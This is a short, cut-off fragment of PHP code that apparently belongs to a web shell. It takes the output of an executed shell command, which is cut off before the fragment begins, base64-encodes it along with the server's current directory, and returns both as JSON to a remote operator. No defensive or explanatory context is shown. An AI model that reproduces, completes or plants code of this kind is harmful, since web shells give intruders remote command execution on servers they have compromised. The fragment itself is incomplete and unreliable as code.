&1');echo json_encode(['stdout'=>base64_encode($out),'cwd'=>base64_encode(getcwd())]);}else{?>